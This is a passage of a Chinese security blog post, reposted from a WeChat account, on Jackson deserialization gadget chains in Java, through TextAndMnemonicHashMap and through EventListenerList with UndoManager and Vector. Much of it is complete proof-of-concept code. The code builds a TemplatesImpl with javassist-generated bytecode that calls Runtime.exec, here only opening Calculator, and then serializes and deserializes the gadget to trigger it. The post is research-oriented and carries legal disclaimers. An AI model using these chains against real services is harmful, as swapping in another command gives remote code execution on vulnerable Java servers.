//也可以直接删去这个类        ctClass.removeMethod(ctMethod);        ctClass.toClass();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();        constructor.setAccessible(true);        Map text = (Map)constructor.newInstance();        text.put(node,"1");        HashMap hashMap1 = new HashMap();        hashMap1.put(node,"1");        Hashtable table = new Hashtable();        table.put(hashMap1,"1");        table.put(text,"1");    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

这里可以在TextAndMnemonicHashMap类的get()方法加一个断点:

JavaSec | jackson反序列化通杀链

调试原先的代码,发现在getKey()方法还是报异常错误,但是确实会调用到这里,并且看此时的key所代表的值:

JavaSec | jackson反序列化通杀链

就是正常的POJONode类,都是自己构造的,然后成功调用到了TextAndMnemonicHashMap类的get()方法:

JavaSec | jackson反序列化通杀链

从这个get()方法的逻辑,可以看出来是会先获取到对应key的value,只有这里的value为null,才能调用到toString()方法,也就是需要TextAndMnemonicHashMap类所对应的"HashMap"类的键值对的值为null,基于上面的情况,可以简单改一下代码:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        //也可以直接删去这个类        ctClass.removeMethod(ctMethod);        ctClass.toClass();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();        constructor.setAccessible(true);        Map text = (Map)constructor.newInstance();        text.put(node,null);        HashMap hashMap1 = new HashMap();        hashMap1.put(node,null);        Hashtable table = new Hashtable();        table.put(hashMap1,"1");        table.put(text,"1");    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

这样就可以稳定在序列化前按照预期成功调用一次调用链。值得注意的是,由于为了保证hash值相同,这里让hashMap1的value也改成了null,那么此时在AbstractMap类的equals()方法调用get()方法也有改变:

JavaSec | jackson反序列化通杀链

由于将value改成了null,所以这里value返回值也是null,进入了第一个if条件,还是调用到了一次get()方法,后面就都是预期的了。

那么反序列化如何绕过呢,前面给出的POC已经可以说明了,在Hashtable放入值时直接让hash值不同从而可以正常放入,后面再调用put()方法来进行一次更新值的操作,所以最后的POC如下:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        //也可以直接删去这个类        ctClass.removeMethod(ctMethod);        ctClass.toClass();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();        constructor.setAccessible(true);        Map text0 = (Map)constructor.newInstance();        text0.put(node,"aa1");        Map text1 = (Map)constructor.newInstance();        text1.put(node,"aa2");        Hashtable table = new Hashtable();        table.put(text1,"1");        table.put(text0,"1");        text0.put(node,null);        text1.put(node,null);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(table);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

经测试发现如果是想使用HashMap和TextAndMnemonicHashMapl作为Hashtable中的两个键,在Hashtable的反序列化时,先后顺序会发生改变,这个问题我在JD7u21原生链提过,这里不再多说,使用上面的代码就行了。

总结:

  • • 得抓一下重点呀,就那一个点,也是比较关键的一点,构造代码时没注意到。还是卡了一段时间。

EventListenerList

这个类位于javax.swing.event.EventListenerList,同样是可以调用任意类的getter方法,先来跟进这个类的readObject()方法:

JavaSec | jackson反序列化通杀链

然后跟进这里的add()方法:

JavaSec | jackson反序列化通杀链

当l不是t的类或接口的实例化时,这里就会进入抛出异常的操作,但是这里的抛出异常的操作是进行了一个字符串拼接的操作,所以只要控制得好l,那么久可以调用任意类的toString()方法。再回过去看参数传递的要求:

JavaSec | jackson反序列化通杀链

这里的forName()方法,正好是当时学反射时说明了的,虽然有几个参数传递,但是其实就是相当于调用的forName(),这里的cl就是一个类加载器,也就是可以获取到一个Class对象,然后看这里的l,可以知道是从数据读出并且有一个强制类型转换,也就是要求其为一个与EventListener有关联的对象。再看一下EventListenerList类的writeObject()方法:

JavaSec | jackson反序列化通杀链

大概就可以知道这里的序列化所需的变量了,并且可以和反序列化对应起来,有在反序列化利用的可能性。

那么在这里可以利用到的是javax.swing.undo.UndoManager类,它的接口UndoableEditListener是java.util.EventListener的子类,跟进这个类的toString()方法:

JavaSec | jackson反序列化通杀链

这里调用了父类的toString()方法,还调用了两个变量,但是这两个变量都定义为int类型:

int indexOfNextAdd;int limit;

无法利用,继续跟进父类CompoundEdit的toString()方法:

JavaSec | jackson反序列化通杀链

看此时这两个变量的定义:

JavaSec | jackson反序列化通杀链

可以看到inProgress是布尔型,而edits在实例化时会赋值为一个Vector类实例,并且UndoManager类实例化时久可以保证这个父类也实例化,再看CompoundEdi类的toString()方法,同样是字符串拼接的操作,所以可以调用到Vector类的toString()方法:

JavaSec | jackson反序列化通杀链

再跟进父类AbstractCollection的toString()方法:

JavaSec | jackson反序列化通杀链

跟进这里的append()方法:

JavaSec | jackson反序列化通杀链

这里的value()方法可以调用到任意类的toString()方法:

JavaSec | jackson反序列化通杀链

个人觉得利用点是前面图中用框标出来的append方法,那么就可以尝试进行构造了,就简单说明几个点:

EventListenerList无构造方法,需要利用到Object[]类型的listenerList变量,反射修改即可,一定要看懂writeObject()的逻辑,这样才能构造出来。

另外的一个比较重要的点就是如下:

JavaSec | jackson反序列化通杀链

怎么控制这个e为任意类型。重点就在于这个iterator()方法,再回想一下整个过程,到这一步的toString()方法,已经是和Vector类相关了,也就是说这里的self为Vector类实例,并且简单构造代码调试也是如预期的,而在Vector类的iterator()方法,是返回的一个内部类Itr实例:

JavaSec | jackson反序列化通杀链

里面就定义了一些简单的next()函数用于迭代,在原先的toString()方法中,可以知道是,跟进next()函数最后返回的elementData:

JavaSec | jackson反序列化通杀链

其实就是返回存储在这个当中的值,所以我们肯定是要将node放进这个数组当中的。对于这个elementData数组,Vector类定义了很多方法来进行操作,如insertElementAt:

JavaSec | jackson反序列化通杀链

等。

所以这也是可以操作的,但是要怎么将这个设计好的Vector类插入进去呢?在原本的利用链中,是直接将Vector实例化的:

JavaSec | jackson反序列化通杀链

还是反射进行修改,具体看下面的POC即可:

package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.swing.undo.UndoManager;import javax.swing.event.EventListenerList;import java.lang.reflect.Field;import java.util.Vector;public class Main {    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd = "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        //修改类方法        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");        //也可以直接删去这个类        ctClass.removeMethod(ctMethod);        ctClass.toClass();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        POJONode node = new POJONode(templates);        UndoManager undo = new UndoManager();        Object[] x = new Object[]{String.class, undo};        EventListenerList listenerList = new EventListenerList();        setFieldValue(listenerList, "listenerList", x);        Vector vector = (Vector) getFieldValue(undo, "edits");        vector.add(node);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(listenerList);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public static Object getFieldValue(Object obj, String fieldName) throws Exception {        Class clazz = obj.getClass();        while (clazz != null) {            try {                Field field = clazz.getDeclaredField(fieldName);                field.setAccessible(true);                return field.get(obj);            } catch (Exception e) {                clazz = clazz.getSuperclass();            }        }        return null;    }}

就可以在反序列化时弹出计算机了。一个非常好的获取到父类的变量并进行修改或者设置值的代码设计,多学习。

——————

参考文章:

https://www.cnblogs.com/gaorenyusi/p/18411269

https://xz.aliyun.com/news/14924?time__1311=eqUxuDBD0AGQBD7qGNcjDA2A%2BAqY5mKfxx&u_atoken=634642368fa712ac87bbdc71d6c17d07&u_asig=0a472f9217430687398891321e0048

https://xz.aliyun.com/news/14169?u_atoken=cc132e497818eb0c240edb80bb120546&u_asig=0a472f9217430687458091642e0048

https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

JavaSec | jackson反序列化通杀链

 

原文始发于微信公众号(掌控安全EDU):JavaSec | jackson反序列化通杀链

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日15:18:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaSec | jackson反序列化通杀链https://cn-sec.com/archives/3990026.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息